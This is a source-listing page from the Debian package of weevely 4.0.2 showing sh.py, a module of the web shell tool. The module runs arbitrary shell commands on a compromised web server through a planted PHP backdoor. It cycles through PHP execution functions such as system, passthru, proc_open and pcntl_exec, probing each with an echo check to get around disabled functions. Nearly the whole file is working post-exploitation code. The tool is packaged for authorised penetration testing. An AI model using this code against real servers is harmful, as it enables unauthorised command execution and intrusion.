File: sh.py

package info (click to toggle)
weevely 4.0.2-1
  • links: PTS, VCS
  • area: main
  • in suites: forky, sid, trixie
  • size: 1,336 kB
  • sloc: python: 7,732; php: 1,035; sh: 53; makefile: 2
file content (126 lines) | stat: -rw-r--r-- 4,571 bytes parent folder | download
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
from core.vectors import PhpCode
from core.module import Module, Status
from core.loggers import log
from core.vectors import Os
from core import messages
from core import modules
import random

class Sh(Module):

    """Execute shell commands."""

    def init(self):

        self.register_info(
            {
                'author': [
                    'Emilio Pinna'
                ],
                'license': 'GPLv3'
            }
        )

        self.register_vectors(
            [
            # All the system-like calls has to be properly wrapped between single quotes
            PhpCode("""@system('${command}${stderr_redirection}');""", "system"),
            PhpCode("""@passthru('${command}${stderr_redirection}');""", "passthru"),
            PhpCode("""print(@shell_exec('${command}${stderr_redirection}'));""", "shell_exec"),
            PhpCode("""$r=array(); @exec('${command}${stderr_redirection}', $r);print(join(\"\\n\",$r));""", "exec"),
            PhpCode("""
                $h=@popen('${command}','r');
                if($h){
                    while(!feof($h)) echo(fread($h,4096));
                    pclose($h);
                }""", "popen"),
            PhpCode("""
                $p = array(array('pipe', 'r'), array('pipe', 'w'), array('pipe', 'w'));
                $h = @proc_open('${command}', $p, $pipes);
                if($h&&$pipes){
                    while(!feof($pipes[1])) echo(fread($pipes[1],4096));
                    while(!feof($pipes[2])) echo(fread($pipes[2],4096));
                    fclose($pipes[0]);
                    fclose($pipes[1]);
                    fclose($pipes[2]);
                    proc_close($h);
                }""", "proc_open"),
            PhpCode("""@python_eval('import os; os.system('${command}${stderr_redirection}');');""", "python_eval"),
            PhpCode("""
                if(class_exists('Perl')){
                    $perl=new Perl();
                    $r=$perl->system('${command}${stderr_redirection}');
                    print($r);
                }""", "perl_system"),
            # pcntl_fork is unlikely, cause is callable just as CGI or from CLI.
            PhpCode("""
                if(is_callable('pcntl_fork')) {
                    $p=@pcntl_fork();
                    if(!$p){
                        @pcntl_exec("/bin/sh",Array("-c",'${command}'));
                    } else {
                        @pcntl_waitpid($p,$status);
                    }
                }""",
                name="pcntl", target=Os.NIX),
            ])

        self.register_arguments([
          { 'name' : 'command', 'help' : 'Shell command', 'nargs' : '+' },
          { 'name' : '-stderr_redirection', 'default' : ' 2>&1' },
          { 'name' : '-vector', 'choices' : self.vectors.get_names() },
        ])

    def setup(self):
        """Probe all vectors to find a working system-like function.

        The method run_until is not used due to the check of shell_sh
        enabling for every tested vector.

        Args:
            self.args: The dictionary of arguments

        Returns:
            Status value, must be Status.RUN, Status.FAIL, or Status.IDLE.

        """

        check_digits = str(random.randint(11111, 99999))

        args_check = {
                    'command': 'echo %s' % check_digits,
                    'stderr_redirection': ''
        }

        (vector_name,
         result) = self.vectors.find_first_result(
          names = [ self.args.get('vector', '') ],
            format_args = args_check,
            condition = lambda result: (
                # Stop if shell_php is not running
                self.session['shell_php']['status'] != Status.RUN or
                # Or if the result is correct
                result and result.rstrip() == check_digits
                )
            )

        if self.session['shell_php']['status'] == Status.RUN and result and result.rstrip() == check_digits:
            self.session['shell_sh']['stored_args']['vector'] = vector_name
            return Status.RUN
        else:
            # Check safe_mode and disable_functions
            return Status.FAIL

    def run(self, **kwargs):

        # Join the command list and

        # Escape the single quotes. This does not protect from \' but
        # avoid to break the query for an unscaped quote.

        self.args['command'] = ' '.join(self.args['command']).replace("'", "\\'")

        return self.vectors.get_result(
         name = self.args['vector'],
         format_args = self.args
        )